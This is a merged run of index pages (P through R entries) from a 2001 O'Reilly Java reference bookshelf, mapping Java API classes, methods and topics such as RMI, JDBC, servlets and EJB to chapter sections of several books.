Map interface: 23. The java.util Package, Java in a Nutshell
Properties class: 23. The java.util Package, Java in a Nutshell
RenderingHints class: 9. The java.awt Package, Java Foundation Classes
TreeMap class: 23. The java.util Package, Java in a Nutshell
UIDefaults class: 23. The javax.swing Package, Java Foundation Classes
PUT (HTTP request): 5.2.3. POST, HEAD, and Other Requests, Java Enterprise in a Nutshell
PUT method: 2.1.3. Other Methods, Java Servlet Programming
putAll( )
Map interface: 23. The java.util Package, Java in a Nutshell
putClientProperty( ) (JComponent): 3.7 Client Properties, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
PutField class: 11. The java.io Package, Java in a Nutshell
putFields( ) (ObjectOutputStream): 11. The java.io Package, Java in a Nutshell
putNextEntry( )
JarOutputStream class: 24. The java.util.jar Package, Java in a Nutshell
ZipOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
putProperty( ) (Document): 30. The javax.swing.text Package, Java Foundation Classes
putValue( ): 7.5.1. Session-Tracking Basics, Java Servlet Programming
Action interface: 23. The javax.swing Package, Java Foundation Classes
HttpSession interface: 5.8. Session Tracking, Java Enterprise in a Nutshell
26. The javax.servlet.http Package, Java Enterprise in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

QuadCurve2D class: 16. The java.awt.geom Package, Java Foundation Classes
quadTo( ) (GeneralPath): 4.4 Shapes, Java Foundation Classes
quality of service, event channel: B.2.1. Quality of Service for Channels, Java Distributed Computing
queries
executing: 9.2.3. Executing SQL Queries, Java Servlet Programming
formatting results: 9.2.5. Result Sets in Detail, Java Servlet Programming
query string: 2.1.2. GET and POST, Java Servlet Programming
6.1.2.2. Combining images, Java Servlet Programming
10.1.1. HTTP and Raw Socket Connections, Java Servlet Programming
results, treating as JavaBeans component: 2.13.5. The JDBC Standard Extension, Java Enterprise in a Nutshell
SQL: 2.5. Statements, Java Enterprise in a Nutshell
query service (CORBA): B.4. Other Key CORBA Services, Java Distributed Computing
query statements: 7.1.2.3. Statement, Java Distributed Computing
Queue interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueBrowser interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueConnection interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueConnectionFactory interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueReceiver interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueRequestor interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueSender interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
QueueSession interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
quick reference material, generating: 0.8. How the Quick Reference Is Generated, Java in a Nutshell
quoteChar( ): 11. The java.io Package, Java in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

radians: 4.3. Numbers and Math, Java in a Nutshell
radio buttons: 9. The java.awt Package, Java Foundation Classes
AWT: 2.2 Components, Java Foundation Classes
Swing: 2.2 Components, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
Random class: 4.3. Numbers and Math, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
random numbers: D.1. Package java.security, Java Security
generator: 5.4.3. Keys in the Java Security API, Java Distributed Computing
RandomAccessFile class: 4.9. Files and Directories, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
Raster class: 18. The java.awt.image Package, Java Foundation Classes
RasterOp class: 18. The java.awt.image Package, Java Foundation Classes
raw data throughput: 8.4.1. Raw Data Monitoring, Java Distributed Computing
raw socket connections and HTTP: 10.1.1. HTTP and Raw Socket Connections, Java Servlet Programming
10.3.1. The Design, Java Servlet Programming
11.2.1. An Improved getServlet( ), Java Servlet Programming
RC2ParameterSpec class: 28. The javax.crypto.spec Package, Java in a Nutshell
RDBMS (relational database management system)
definition: 9.1. Relational Databases, Java Servlet Programming
internal programming language: 9.5.1. Stored Procedures, Java Servlet Programming
tables: 8.1. Relational Databases, Java Enterprise in a Nutshell
reactivation constructors: 3.6.2.1. The Activatable class, Java Enterprise in a Nutshell
3.6.2.2. Implementing an activatable object, Java Enterprise in a Nutshell
read( ): 24. The java.util.jar Package, Java in a Nutshell
ChangedCharSetException class: 30. The javax.swing.text Package, Java Foundation Classes
CheckedInputStream class: 25. The java.util.zip Package, Java in a Nutshell
DataInputStream class: 11. The java.io Package, Java in a Nutshell
DigestInputStream class: 17. The java.security Package, Java in a Nutshell
DTD class: 32. The javax.swing.text.html.parser Package, Java Foundation Classes
EditorKit class: 30. The javax.swing.text Package, Java Foundation Classes
FileInputStream class: 11. The java.io Package, Java in a Nutshell
FilterInputStream class: 11. The java.io Package, Java in a Nutshell
FilterReader: 11. The java.io Package, Java in a Nutshell
GZIPInputStream class: 25. The java.util.zip Package, Java in a Nutshell
HTMLEditorKit class: 31. The javax.swing.text.html Package, Java Foundation Classes
InflaterInputStream class: 25. The java.util.zip Package, Java in a Nutshell
InputStream class: 11. The java.io Package, Java in a Nutshell
JavaSpace interface: C.4.2. read( ), Java Distributed Computing
JEditorPane class: 3.21 JTextComponent and HTML Text Display, Java Foundation Classes
Manifest class: 24. The java.util.jar Package, Java in a Nutshell
ObjID class: D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
Reader class: 11. The java.io Package, Java in a Nutshell
RTFEditorKit class: 33. The javax.swing.text.rtf Package, Java Foundation Classes
Socket class: 16. The java.net Package, Java in a Nutshell
UID class: D.3. The java.rmi.server Package, Java Distributed Computing
ZipInputStream class: 25. The java.util.zip Package, Java in a Nutshell
Read Committed isolation level: 8.3.3 Transaction Isolation Levels, Enterprise JavaBeans
read locks: 8.3.2 Database Locks, Enterprise JavaBeans
read-only result sets: 2.13.1. Results Handling, Java Enterprise in a Nutshell
Read Uncommitted isolation level: 8.3.3 Transaction Isolation Levels, Enterprise JavaBeans
8.3.4 Balancing Performance Against Consistency, Enterprise JavaBeans
readArgs( ): 6.4.1. Heterogeneous Argument Lists, Java Distributed Computing
readClass( ): 2.3.1. Loading Classes from the Network, Java Distributed Computing
Reader class: 4.10. Input and Output Streams, Java in a Nutshell
2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
readers
BufferedReader class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
CharArrayReader class: 11. The java.io Package, Java in a Nutshell
FileReader class: 11. The java.io Package, Java in a Nutshell
FilterReader class: 11. The java.io Package, Java in a Nutshell
InputStreamReader class: 11. The java.io Package, Java in a Nutshell
LineNumberReader class: 11. The java.io Package, Java in a Nutshell
PipedReader class: 11. The java.io Package, Java in a Nutshell
PushbackReader class: 11. The java.io Package, Java in a Nutshell
StringReader class: 11. The java.io Package, Java in a Nutshell
readExternal( ): 11. The java.io Package, Java in a Nutshell
Externalizable interface: 2.1.1. Object Serialization and Memory Integrity, Java Security
readFields( ) (ObjectInputStream): 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
readFully( )(DataInputStream): 11. The java.io Package, Java in a Nutshell
reading files: 4.3.2. Methods Relating to File Access, Java Security
reading private data: 7.1.2. Data Authentication, Java Security
reading signed JAR files: 12.2.1. Reading Signed JAR Files, Java Security
readJarFile( ) (example): 3.5.2. A JAR File Class Loader, Java Security
readLine( ): 4.4.9. Wading the Input Stream, Java Servlet Programming
BufferedReader class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
DataInputStream class: 11. The java.io Package, Java in a Nutshell
LineNumberReader class: 11. The java.io Package, Java in a Nutshell
ServletInputStream: 25. The javax.servlet Package, Java Enterprise in a Nutshell
readMsg( ): 6.3.2. A Basic Message Processor, Java Distributed Computing
6.4.1. Heterogeneous Argument Lists, Java Distributed Computing
9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
readObject( ): 2.1.1. Object Serialization and Memory Integrity, Java Security
ObjectInputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
OptionalDataException: 11. The java.io Package, Java in a Nutshell
Serializable interface: 11. The java.io Package, Java in a Nutshell
readUnsignedByte( ) (DataInputStream): 11. The java.io Package, Java in a Nutshell
readUnsignedShort( ) (DataInputStream): 11. The java.io Package, Java in a Nutshell
readUTF( ), DataInputStream class: 11. The java.io Package, Java in a Nutshell
ready( ) (Reader): 11. The java.io Package, Java in a Nutshell
Ready state: 3.1.1.1 The entity bean life cycle, Enterprise JavaBeans
6.3.3 The Ready State, Enterprise JavaBeans
6.3.4 Life in the Ready State, Enterprise JavaBeans
bean moving from instance pool to: 3.1.1.2 Overview of state transitions, Enterprise JavaBeans
transition from Pooled state via activation: 6.3.3.3 Transitioning from the Pooled state to the Ready State via activation, Enterprise JavaBeans
transition to Pooled state via passivation: 6.3.3.4 Transitioning from the Ready State to the Pooled state via passivation, Enterprise JavaBeans
transition to Pooled state via removal: 6.3.3.5 Transitioning from the Ready State to the Pooled state via removal, Enterprise JavaBeans
transitioning from Pooled state via find methods: 6.3.3.2 Transitioning from the Pooled state to the Ready State via a find method, Enterprise JavaBeans
transitioning to/from Pooled state via creation: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation, Enterprise JavaBeans
real data throughput: 8.4.2. Real Data Monitoring, Java Distributed Computing
real-time (see bandwidth-limited applications)
Real-Time Control Protocol (RTCP): 8.2.3. Levels of Monitoring and Management, Java Distributed Computing
Real-Time Protocol (RTP): 8.2.3. Levels of Monitoring and Management, Java Distributed Computing
rebind( )
Context interface: 6.8. Binding Objects, Java Enterprise in a Nutshell
Naming class: 13. The java.rmi Package, Java Enterprise in a Nutshell
NamingContext interface: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
Naming interface: D.1. The java.rmi Package, Java Distributed Computing
Registry interface: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
16. The java.rmi.registry Package, Java Enterprise in a Nutshell
Remote interface: D.2. The java.rmi.registry Package, Java Distributed Computing
rebind_context( ) (NamingContext): 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
receive( ) (DatagramSocket): 16. The java.net Package, Java in a Nutshell
receiveEvent( ): 6.6.2. Distributed Events, Java Distributed Computing
Rectangle class: 9. The java.awt Package, Java Foundation Classes
Rectangle2D class: 16. The java.awt.geom Package, Java Foundation Classes
rectangles, Java 2D: 4.4 Shapes, Java Foundation Classes
rectangular arrays: 2.9.4. Multidimensional Arrays, Java in a Nutshell
RectangularShape class: 16. The java.awt.geom Package, Java Foundation Classes
redirected output: 13.4.4. Executing Finger with Redirected Output, Java Servlet Programming
redirecting a request: 5.6.2. Redirecting a Request, Java Servlet Programming
redo( )
AbstractUndoableEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
CompoundEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
UndoableEdit interface: 35. The javax.swing.undo Package, Java Foundation Classes
UndoManager class: 35. The javax.swing.undo Package, Java Foundation Classes
reentrance (see also concurrency):
3.2.1.1 Reentrance, Enterprise JavaBeans
4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
deployment descriptor specification: 7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
multithreaded access vs.: 3.2.1.1 Reentrance, Enterprise JavaBeans
reentrant element: 4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
Ref interface: 18. The java.sql Package, Java Enterprise in a Nutshell
RefAddr class: 22. The javax.naming Package, Java Enterprise in a Nutshell
reference books
CGI: 1.1.1. Common Gateway Interface, Java Servlet Programming
digital certificates: 8.2. Digital Certificates, Java Servlet Programming
HTTP: 2.1. HTTP Basics, Java Servlet Programming
4.4.8. Request Headers, Java Servlet Programming
Java: 0.1.1. What You Need to Know, Java Servlet Programming
SQL: 9.1. Relational Databases, Java Servlet Programming
see also books: 1.1.1. Common Gateway Interface, Java Servlet Programming
Reference class: 22. The javax.naming Package, Java Enterprise in a Nutshell
13. The java.lang.ref Package, Java in a Nutshell
13. The java.lang.ref Package, Java in a Nutshell
reference, invalid: 1.3.4. Safety, Java Servlet Programming
reference types: 2.4.7. Reference Types, Java in a Nutshell
2.10. Reference Types, Java in a Nutshell
conversions: 2.10.6. Reference Type Conversions, Java in a Nutshell
Referenceable interface: 22. The javax.naming Package, Java Enterprise in a Nutshell
ReferenceQueue class: 13. The java.lang.ref Package, Java in a Nutshell
13. The java.lang.ref Package, Java in a Nutshell
references: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
2.10. Reference Types, Java in a Nutshell
accessing in EJB 1.0 and 1.1: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
to beans, looking up for: 10.5.4 References to Other Beans, Enterprise JavaBeans
to EJB home: 4.3.3.1 EJB 1.1: TravelAgentBean, Enterprise JavaBeans
4.3.3.2 EJB 1.0: TravelAgentBean, Enterprise JavaBeans
to external resources: 10.5.5 References to External Resources, Enterprise JavaBeans
JNDI ENC, making available through: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
local and remote registries, obtaining: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
null: 2.10.3. The null Reference, Java in a Nutshell
to other beans, defining within JNDI ENC: 10.5.4 References to Other Beans, Enterprise JavaBeans
referent: 13. The java.lang.ref Package, Java in a Nutshell
Referer header: 4.4.8. Request Headers, Java Servlet Programming
ReferralException class: 22. The javax.naming Package, Java Enterprise in a Nutshell
referrals, identifying: 4.4.8. Request Headers, Java Servlet Programming
RefFSContextFactory class: 6.2. A JNDI Example, Java Enterprise in a Nutshell
6.3.1. Using the InitialContext Class, Java Enterprise in a Nutshell
reflection: 4.7. Types, Reflection, and Dynamic Loading, Java in a Nutshell
package for: 4.1. Java Platform Overview, Java in a Nutshell
reflection API: 1.4.1. Outline of the JavaRunner Application, Java Security
constructing classes with: 3.3. Loading Classes, Java Security
permission to set accessible flag: 5.2.2. Permissions of the Java API, Java Security
D.8. Miscellaneous Packages, Java Security
reflection to invoke methods: 11.1. Servlet Manipulation, Java Servlet Programming
ReflectPermission class: 14. The java.lang.reflect Package, Java in a Nutshell
5.2.2. Permissions of the Java API, Java Security
D.8. Miscellaneous Packages, Java Security
refresh( ), Policy class: 5.3. The Policy Class, Java Security
17. The java.security Package, Java in a Nutshell
Refresh header: 6.3. Server Push, Java Servlet Programming
register( ) (Activatable): 3.6.3.1. Registering an activatable object without instantiating, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
registerComponent( ) (ToolTipManager): 23. The javax.swing Package, Java Foundation Classes
registered name: 2.3.2. Running Hello World, Java Servlet Programming
2.4.1. Writing a Server-Side Include, Java Servlet Programming
3.1.5. A Holistic Counter, Java Servlet Programming
4.1.2. Getting Init Parameter Names, Java Servlet Programming
registerEditor (PropertyEditorManager): 9. The java.beans Package, Java in a Nutshell
registerEditorKitForContentType( ) (JEditorPane): 23. The javax.swing Package, Java Foundation Classes
registerGroup( ) (ActivationSystem): 3.6.4.1. Registering activation groups, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
registerKeyboardAction( ): 3.8.3 Keyboard Actions, Java Foundation Classes
JComponent class: 23. The javax.swing Package, Java Foundation Classes
registerObject( ) (ActivationSystem): 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
registerOutParameter( ) (CallableStatement): 2.11. Stored Procedures, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
registerSynchronization( ) (Transaction): 28. The javax.transaction Package, Java Enterprise in a Nutshell
28. The javax.transaction Package, Java Enterprise in a Nutshell
registerTag( )
HTMLReader class: 31. The javax.swing.text.html Package, Java Foundation Classes
TagAction class: 31. The javax.swing.text.html Package, Java Foundation Classes
registerValidation( ) (ObjectInputStream): 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
registration service: 3.3. Features of Distributed Object Systems, Java Distributed Computing
3.3.3. Registration/Naming Service, Java Distributed Computing
CORBA and: 3.5.3. Server Implementations, Java Distributed Computing
3.5.5.5. Pulling it all together, Java Distributed Computing
RMI Registry: 3.6.3. The RMI Registry, Java Distributed Computing
registries
local and remote, obtaining references: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
RMI services provided: 3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
Registry interface: D.2. The java.rmi.registry Package, Java Distributed Computing
3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
16. The java.rmi.registry Package, Java Enterprise in a Nutshell
Registry, Java RMI: 3.6.3. The RMI Registry, Java Distributed Computing
registry, naming: 13. The java.rmi Package, Java Enterprise in a Nutshell
registry server: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
10.2.5.2. The superclass, Java Servlet Programming
10.2.5.2. The superclass, Java Servlet Programming
RegistryHandler class: 16. The java.rmi.registry Package, Java Enterprise in a Nutshell
RegistryHandler interface: D.2. The java.rmi.registry Package, Java Distributed Computing
registryImpl( ): D.2. The java.rmi.registry Package, Java Distributed Computing
registryStub( ): D.2. The java.rmi.registry Package, Java Distributed Computing
regular expressions: 13.3. Using Regular Expressions, Java Servlet Programming
1.3.2. Power, Java Servlet Programming
rejectDrop( ): 6.3 Drag-and-Drop, Java Foundation Classes
RejectMoveMessage class (example): 6.4. Fixed Protocols, Java Distributed Computing
related tables (RDBMS): 8.1. Relational Databases, Java Enterprise in a Nutshell
Relational Database Management System (see also RDBMS)
9.1. Relational Databases, Java Servlet Programming
8.1. Relational Databases, Java Enterprise in a Nutshell
relational databases: 2. JDBC, Java Enterprise in a Nutshell
arrays of Strings, converting for storage in: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans, Enterprise JavaBeans
connections, obtaining with JDBC: 6.2.6 Obtaining a Connection to the Database, Enterprise JavaBeans
container-managed persistence and: 6.1 Container-Managed Persistence, Enterprise JavaBeans
CTMs, analogies to: 1.5.4 Analogies to Relational Databases, Enterprise JavaBeans
entity bean fields, mapping to: 3.2.3.1 Object-to-relational persistence, Enterprise JavaBeans
JDBC, working with: 1.3.1. JDBC: Working with Databases, Java Enterprise in a Nutshell
not object-oriented: 2.13.3. Java-Aware Databases, Java Enterprise in a Nutshell
object-to-relational mapping tools: 9.8 Object-to-Relational Mapping Tools, Enterprise JavaBeans
SQL standard: 1.6.3 Benefits of a Standard Server-Side Component Model, Enterprise JavaBeans
EJB server support for: 4.1 Choosing and Setting Up an EJB Server, Enterprise JavaBeans
structure: 8. SQL Reference, Java Enterprise in a Nutshell
Relationship Service (CORBA): 11.5. Life Cycle Service, Java Enterprise in a Nutshell
11.8. Relationship Service, Java Enterprise in a Nutshell
relationships (entity beans): 9.7 Entity Bean Relationships, Enterprise JavaBeans
complex: 9.7.2 Complex Entity Relationships, Enterprise JavaBeans
9.7.2.3 Native Java persistence, Enterprise JavaBeans
database IDs vs. business concepts: 9.7.1.1 Maintaining the database mapping, Enterprise JavaBeans
database mapping: 9.7.1.1 Maintaining the database mapping, Enterprise JavaBeans
mapping serializable: 9.7.1.2 Mapping serializable to VARBINARY, Enterprise JavaBeans
simple: 9.7.1 Simple Associations, Enterprise JavaBeans
9.7.1.5 Native Java persistence, Enterprise JavaBeans
releaseBeanContextResources( ) (BeanContextChildSupport): 10. The java.beans.beancontext Package, Java in a Nutshell
releaseInputStream( ): D.3. The java.rmi.server Package, Java Distributed Computing
releaseOutputStream( ): D.3. The java.rmi.server Package, Java Distributed Computing
releaseService( )
BeanContextServiceProvider interface: 10. The java.beans.beancontext Package, Java in a Nutshell
BeanContextServices interface: 10. The java.beans.beancontext Package, Java in a Nutshell
reloading servlets: 3.2. Servlet Reloading, Java Servlet Programming
RemarshalException class: 33. The org.omg.CORBA.portable Package, Java Enterprise in a Nutshell
remote
database data servers: 7.2.6. Remote Data Servers, Java Distributed Computing
databases: 7.2. Remote Database Applications, Java Distributed Computing
method invocation: 3.2.2. Remote Method Calls, Java Distributed Computing
object interfaces: 3.6.1. Remote Object Interfaces, Java Distributed Computing
object references: 3.2.1. Creating Remote Objects, Java Distributed Computing
objects
communication protocol for: 3.3.4. Object Communication Protocol, Java Distributed Computing
creating: 3.2.1. Creating Remote Objects, Java Distributed Computing
for message passing: 6.7. Using Remote Objects, Java Distributed Computing
registering (RMI): 3.6.5. Registering and Using a Remote Object, Java Distributed Computing
Remote interface: 3.6.1. Remote Object Interfaces, Java Distributed Computing
D.1. The java.rmi Package, Java Distributed Computing
Remote Method Invocation (see Java RMI)
RemoteCall interface: D.3. The java.rmi.server Package, Java Distributed Computing
RemoteException: 3.6.1. Remote Object Interfaces, Java Distributed Computing
C.2. Entry and EntryRep, Java Distributed Computing
D.1. The java.rmi Package, Java Distributed Computing
RemoteObject class: D.3. The java.rmi.server Package, Java Distributed Computing
RemoteRef interface: D.3. The java.rmi.server Package, Java Distributed Computing
RemoteServer class: 3.6.2. Server Implementations, Java Distributed Computing
D.3. The java.rmi.server Package, Java Distributed Computing
RemoteStub class: D.3. The java.rmi.server Package, Java Distributed Computing
transaction security: 1.3.6.2. Secure remote transactions, Java Distributed Computing
remote element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
remote interface: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
10.5.1 Session and Entity Beans, Enterprise JavaBeans
7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
7.9.5. Assorted Other Changes, Java Enterprise in a Nutshell
business methods available to client: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
business methods, defining: 2.1.1 Classes and Interfaces, Enterprise JavaBeans
A.1.7 EJBObject interfaceEJB API EJBObject, Enterprise JavaBeans
client-side API: 5.2.4 The Remote Interface, Enterprise JavaBeans
defining: 2.1.1.1 The remote interface, Enterprise JavaBeans
7.4.2. Remote Interface, Java Enterprise in a Nutshell
dependent class: 7.1.2.3 Dependent classes: The CreditCard and Check classes, Enterprise JavaBeans
in ejb-jar files: 10.7 The ejb-jar File, Enterprise JavaBeans
EJB, RMI vs.: 7.2.2. The Enterprise JavaBeans Object, Java Enterprise in a Nutshell
entity beans: 4.2.1 Cabin: The Remote Interface, Enterprise JavaBeans
container-managed: 6.1.1 The Remote Interface, Enterprise JavaBeans
finder methods: 7.6.2. Finder Methods, Java Enterprise in a Nutshell
implementing
directly (EJB class): 7.4.3. The Bean Implementation, Java Enterprise in a Nutshell
stub and skeleton classes: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
JAR files: 7.7.4. Packaging Enterprise JavaBeans, Java Enterprise in a Nutshell
Java RMI-IIOP restrictions on: 5.2.2.1 EJB 1.1: Java RMI-IIOP type restrictions, Enterprise JavaBeans
Java RMI return types, parameters, and exceptions: 6.1.4 Java RMI Return Types, Parameters, and Exceptions, Enterprise JavaBeans
methods
distinguishing from home interface: 10.6.3.4 Remote/home differentiation, Enterprise JavaBeans
relation to home interface and bean implementation methods: 7.4. Implementing a Basic EJB Object, Java Enterprise in a Nutshell
problems with bean class implementation: 9.5 Implementing a Common Interface, Enterprise JavaBeans
remote exceptions, declaring: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
remote object, specifying: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
security roles, mapping to methods: 10.6.2.1 Assigning roles to methods, Enterprise JavaBeans
session beans: 4.3.1 TravelAgent: The Remote Interface, Enterprise JavaBeans
7.3.1.1 TravelAgent: The remote interface, Enterprise JavaBeans
set and get methods: 6.1.1.1 Set and get methods, Enterprise JavaBeans
stateful session beans: 7.3.1 The TravelAgent Bean, Enterprise JavaBeans
stateless session beans: 7.1.2.2 ProcessPayment: The remote interface, Enterprise JavaBeans
7.1.2.2 ProcessPayment: The remote interface, Enterprise JavaBeans
stub and skeleton classes, implementing: 9. RMI Tools, Java Enterprise in a Nutshell
remote method calls, executing with DII and DSI: 4.5. What If I Don't Know the Interface?, Java Enterprise in a Nutshell
remote method invocation (see Java RMI)
Remote Method Invocation, see RMI: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
remote methods
arguments: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
CORBA, out or inout arguments: 4.2.2. Turning IDL Into Java, Java Enterprise in a Nutshell
declaring (remote interface): 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
IDL, inout parameter: 4.2.2.3. The holder class, Java Enterprise in a Nutshell
implementation, server (IDL/Java conversion): 4.2.3. Writing the Implementation, Java Enterprise in a Nutshell
return values: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
remote object servlet: 10.2.5.1. The servlet, Java Servlet Programming
10.2.5.2. The superclass, Java Servlet Programming
10.2.5.2. The superclass, Java Servlet Programming
remote objects
activatable, implementing: 3.6.2. Defining an Activatable Remote Object, Java Enterprise in a Nutshell
3.6.2.2. Implementing an activatable object, Java Enterprise in a Nutshell
activatable, defining: 3.6. Remote Object Activation, Java Enterprise in a Nutshell
3.6.2. Defining an Activatable Remote Object, Java Enterprise in a Nutshell
activation: 3.6. Remote Object Activation, Java Enterprise in a Nutshell
activation groups: 3.6.4. Activation Groups, Java Enterprise in a Nutshell
registering with: 3.6.4.2. Assigning activatable objects to groups, Java Enterprise in a Nutshell
activation service (RMI): 3.1.3.2. Object activation service, Java Enterprise in a Nutshell
binding to CORBA Naming Service (JNDI): 3.8. RMI over IIOP, Java Enterprise in a Nutshell
binding to names: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
class names, finding: 3.6.4. Activation Groups, Java Enterprise in a Nutshell
classes
tracking (serialver utility): 9. RMI Tools, Java Enterprise in a Nutshell
implementation (RMI): 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
RMI registry: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
clients accessing: 4.3. Putting It in the Public Eye, Java Enterprise in a Nutshell
containers (EJB),
converting primary keys: 7.6.2. Finder Methods, Java Enterprise in a Nutshell
CORBA
delegates: 4.2.2.2. The helper class, Java Enterprise in a Nutshell
life cycle, controlling: 11.5. Life Cycle Service, Java Enterprise in a Nutshell
creating and using: 3. Remote Method Invocation, Java Enterprise in a Nutshell
defining: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
disassociating from beans: 7.6.5. Life Cycle of an Entity Bean, Java Enterprise in a Nutshell
EJB: 7.2. EJB Roles, Java Enterprise in a Nutshell
7.2.1. The EJB Client, Java Enterprise in a Nutshell
factory classes: 3.4.3. Factory Classes, Java Enterprise in a Nutshell
finding: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
getting from other remote objects: 4.4.2. Getting Objects from Other Remote Objects, Java Enterprise in a Nutshell
IDL (interfaces, describing): 4. Java IDL, Java Enterprise in a Nutshell
interaction, starting: 3.5. Dynamically Loaded Classes, Java Enterprise in a Nutshell
interface, defining: 3.1.1. RMI in Action, Java Enterprise in a Nutshell
interfaces not available: 4.5. What If I Don't Know the Interface?, Java Enterprise in a Nutshell
JNDI, looking up: 6. JNDI, Java Enterprise in a Nutshell
looking up (RMI registry): 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
naming service (CORBA): 4.1.3. The Naming Service, Java Enterprise in a Nutshell
native code, exporting (RMI and JNI): 3.7.1. RMI with JNI Versus CORBA, Java Enterprise in a Nutshell
nonremote objects vs.: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
nonreplicated: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
references as printable character strings: 4.4.3. Stringified Object References, Java Enterprise in a Nutshell
registering (RMI registry): 3.1.1. RMI in Action, Java Enterprise in a Nutshell
remote reference, generating: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
server implementations: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
server-side implementation: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
session beans vs.: 7.5. Implementing Session Beans, Java Enterprise in a Nutshell
stub and skeleton classes, generating: 9. RMI Tools, Java Enterprise in a Nutshell
stubs, skeletons and objects, relationship: 3.2. Defining Remote Objects, Java Enterprise in a Nutshell
remote procedure calls (RPCs): 1.5.1 TP Monitors, Enterprise JavaBeans
remote references
client stubs: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
clients, obtaining (IDL/Java conversion): 4.3. Putting It in the Public Eye, Java Enterprise in a Nutshell
CORBA: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
EJB objects, comparing: 5.2.5.3 Comparing beans for identity, Enterprise JavaBeans
expiring: 3.1.3.3. Distributed garbage collection, Java Enterprise in a Nutshell
explicit narrowing with PortableRemoteObject: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
circumstances for use: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
circumstances not requiring: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
